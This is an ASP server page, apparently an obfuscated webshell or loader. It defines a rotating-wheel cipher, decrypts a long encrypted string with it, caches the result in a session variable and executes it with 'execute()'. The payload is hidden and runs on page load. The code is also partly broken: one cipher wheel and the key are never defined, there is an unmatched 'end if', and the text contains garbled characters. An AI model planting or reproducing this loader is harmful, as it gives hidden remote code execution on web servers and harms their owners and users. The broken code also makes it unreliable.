<% Public Const sDefaultWHEEL1 = "el>piDNcHBuOq&rw[m61MyX0)d'E7=Ph8b;*V?Wv""kUaI +L2:_njG]F$.A-t5f3TS\9xs/^&Rsaq=MwG1B?gm/2\HP-5WUXT_L^jvCbceD8p$['*nS3o." Function Decrypt_PRO(sINPUT , sPASSWORD ) Dim sWHEEL1, sWHEEL2 Dim k, i, c Dim sRESULT sWHEEL1 = sDefaultWHEEL1: sWHEEL2 = sDefaultWHEEL2 ScrambleWheels sWHEEL1, sWHEEL2, sPASSWORD sRESULT = "" For i = 1 To Len(sINPUT) c = mid(sINPUT, i, 1) k = InStr(1, sWHEEL2, c, vbBinaryCompare) If k > 0 Then sRESULT = sRESULT & mid(sWHEEL1, k, 1) Else sRESULT = sRESULT & Addpass(c,sPASSWORD) End If sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2) Next Decrypt_PRO = sRESULT End Function Function LeftShift(s ) If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1) End Function Function RightShift(s ) If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1) End Function Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD ) Dim i ,k For i = 1 To Len(sPASSWORD) For k = 1 To ascW(mid(sPASSWORD, i, 1)) * i sW1 = LeftShift(sW1): sW2 = RightShift(sW2) Next Next End Sub Function Addpass(tStr,tPass) Select Case tStr Case ChrW(13) Addpass = tStr Case ChrW(10) Addpass = tStr Case ChrW(13)+ChrW(10) Addpass = tStr Case ChrW(9) Addpass = tStr Case Else dim a a= mid(tstr,1,1) Addpass = ChrW((ascW(tPass) Xor Len(tPass)) Xor ascW(tstr)) End Select End Function Dim crypt_PRO,Key,Code crypt_PRO="G.xa.g6Mst"":)U?W(2hE8F_.3��ry)7;84A8kS]VN:e=,^88SBj7E LHb1p] 4Xx.��tIO, $EN$WR>Ai?7ok=d'ufj.l<-;0 m7H4m8s*3n��+t""l(eF0eH9fk:w *hRI',8""TR^H IL11:Rx*RBdbeu+T^_��iVnExHeSHb>n(CW_fsDHH)n]u""aOwna_yCe��0NFO]_ni_]VTU[i>Ofg*DU;��B/Rmw"",s""79I8q��4<6-0tb$""NixUTSED3*G]?1w=aR>9f��CNbd;,ViHAup,O^T?20Td6*0ulvIuVx-6hLG��Myk3]F-8o-]h*/cfG""T?-&6�� 5)mFn&y="":d+bk4lnCN3eUV1D0�� DL'?&c5;B'h"",N/,9R8)rO>4*y&4E""?8o$vPi=CVh�� Ls(U/^>r5GEdt_H$i-+8^+073cF����x&',o+)vWSl4kLT.8^due^,2HE(cR/yDE��2E._BG7qeA<4tfk-0ipL1��.SE>5xvfl?5dOsv?E8F &g8IMxO&<_*0 wTi]L'sAS3ub-^Gq>S[(U6I[:jx��+mfFR7+8^5ba[gxm8Mkn8R1fbHLl��G8H7RBr&q/Bd;V&tb?<6_PP3h<^TSS?P6bya^_UX542Is0;_F9:vkVf'0k>9f81Hkf08x:;[i?'v.\""W&fxIv?S4T o_ngFmUbU+ba]ln2VC1XH""t>H+xAl>L.&)=""s4h)X]""H5[\BT��uf""bnij*oVi[_/*C74Tp;01m(tG""Ic eLoNu[:=c F&4,ah_Dg)r7$ 1?x""LfG+��tH>E)ynmOG^��U[->'W8jLv��w:ADH_0H4Uo$w>��"">4l+s(��0I]6X=)/d'-m]uvoN_wWiHD>:2w��LE8*BGvl4;^$Ig>y=m7Ag7N17.&<4(""^3h)x7;'=^v;fomLq:;��3;$]hrF��^FW'x&',o+)vW����_0H4Uo$w>n4GLmM-^=IL=2""3o4s,'O(-vdxA[&-��O-?7kV$i>LCHpnU;T\sy]��?G-.9v:""is+^>vX.Vc2x>\^5hp9Ff""71UD""\jlaUMxN&1v:y9uOT_=""Rwv'jAo=""dA>��rcM] -4r>yTGFWx��]A2fte2vR_��eI4fu?,wXa��?3ej9l��9kCPyBEm]nSF&'��xP;E+*N]_H>ml1��HU""$cf""7y ��f1.]T9MOf=5T;.s\sy]��(9a> 6'��H'?v5<[w-��9-71Hi13/pv>7����sj Wy/w""Ffbda8sqlOG��=N,-]G��w\>0fR77e2vU?[p""W*[M��S?(R[/��HL[O5c ""vBE8F\&BMIOi.]<6-0tm20fR77e>v4Ay2V+W?(owEa_n:DbMf;$PO^T5G5_7Ag&.t��r$1^Sr^OcVxH����UuwngD^9l55dLjm=c��vMH3>G7i ,((_]W3hvfHL[O5c-mLtEaF/BdB2Oist8A_]W3)llbm^51pD]'HpDs��[$Xc��b*Xs-_22""'E:8NAR.G53s/$'G6eW <4]P.V+1uA/ma]pIk��He[LXd ""vBE8F\&BMIOi.]<6-0tm2[C37PUPPqH""��E4FReitItHklnL0v]rh3?8owla5uSC,��l ;HF+MBMey=""49,_elbm^oy+VH��m?1n,BCDC""\vRh(d6/LO$:6.""oe_Mti2TU?[p""W*[8WO)P>eg,^abW$m,AFDu:5,+&ivIC��bv^ty""O4Wj:2Ul$lMLCLEg_9c\HmE2M>7Agq0g$;Lk__1tVD>GMq][[\o:bXi$N""I8VhguC��x.3OIh8 -pkAkaS]29?in5l*=Cf��Lfx;&L;-tg=]����AM.>iy;8^ty""]kW1neUV:5V>V��7l =P6)?3A&q&^+>'W8I+>^V0VV*Em��1w=$lMLCLEg_9N/;?TG>x7&3_'kqd+v��_XWE=US:SljnmwevOl_ F(&jUBE��Fx.9v:+t+mh;$G-DciNH,sc'*=,wI(]p5&.Vhnr+w4tr;4?1uv(SX""eO4 3XB>mho""=cpccPb7�� ;(2xb(&5T5xM-7;?w'xa.^n0M&rb��^_X]wTouo7C32+9gBj*f4AB=WL/?+Ou$ BRWCjHoS(^:on^ ;T='P>e1$^3->+]*VhL>yMk8&p��$8e]r5g+5.,D<)f&r;*Xpf]i9MqU*L\Tq, lmvDU-IhiE$PsN^pDu1jLv<5s��-H2e:Tw'7Gjcj]/^ F(Umyng""sx��dx-$hd$7S<""^����c0H4Uo$w>'Oje;?W8?ayT\tTF9 k2ftg��v^_3kDHFRP[S[;T$9),cT$;g\ggd?4��x.3f^o4.7 -^(_wW[+Au?��w=a*\9-Gx^UF0=WL/?+oxAv6.��8eb(2chkh>[4XI=5Ppua)rPmvDU-Ilk.fP1v[plFp_BTU6FSkL=iM��w=a3;c$l2_'FHF+MBMey=""g69,ef+)4*y<[yH.M5O&N��>9fj9F T&��)""]grF7A->IWClt8X5Xp=hW��?1w'7Gjcj]/^>iO6IgT)8oIRsx8Fp_HdNSw\/x^/ars&V^5Dq(j<��;(OW3B2x,aH^f^oG(oUadR/(C>��l ;HF+MBMey=""j'Vhts$mUhfkD2^/a4n?Pp=g)r+->+]*VhL>yMk8&p��$8e,2N -.]l>x>\p*p(U8wSL^X(_\1RtU/rUxfpi?Cg��v^_0^>HVC��1w=Xp/9vOdPUP.qH""'EgaNbsxy$��r$1^Sr^OcVxH����o5R[a-G*-X^O=/wTGP/sl0E)yq^+dPXyAH=4u8'suU56( C6iugC5nR:5L-7uTdA0vtm_UWC0*)?TE4GEl0Bl,9b]<""I0rLT.1jLX1FxM W&O27-1_:H7Ag2��ynmbro��0""3h��0A.7&l\/8>P\m>'$6""?t4=O1>2+D��t'?v+S��wDl49DO37P\$^*S^WNCdd,oic��8NH>_qM7f;8SAvpFaC;xr��7PE8O*S^_L7)?.y^1C��eA29XOtu]762E\5CL/Rt;7q\'dBC8qyvH(Ax4/$9Ss7pBo/V)th��n3.l=3mH4fq9H-W.O/��t:^9>""fohGM1w5lp=��oj2^W7w\7LBeBPsw0nDXiulehixe,7C?.T='23eF5Oa ?X0��/m>G��dslRf.Ot.4o_*r.aHBol*s=aR��9fULm_-l=/l$)b��s4XndV��r$1^<*W����") code=Decrypt_PRO(crypt_PRO,Key) code=replace(code,"��",vbCrLf) Session("ILxSGzPCF")=code end if execute(Session("ILxSGzPCF")) %>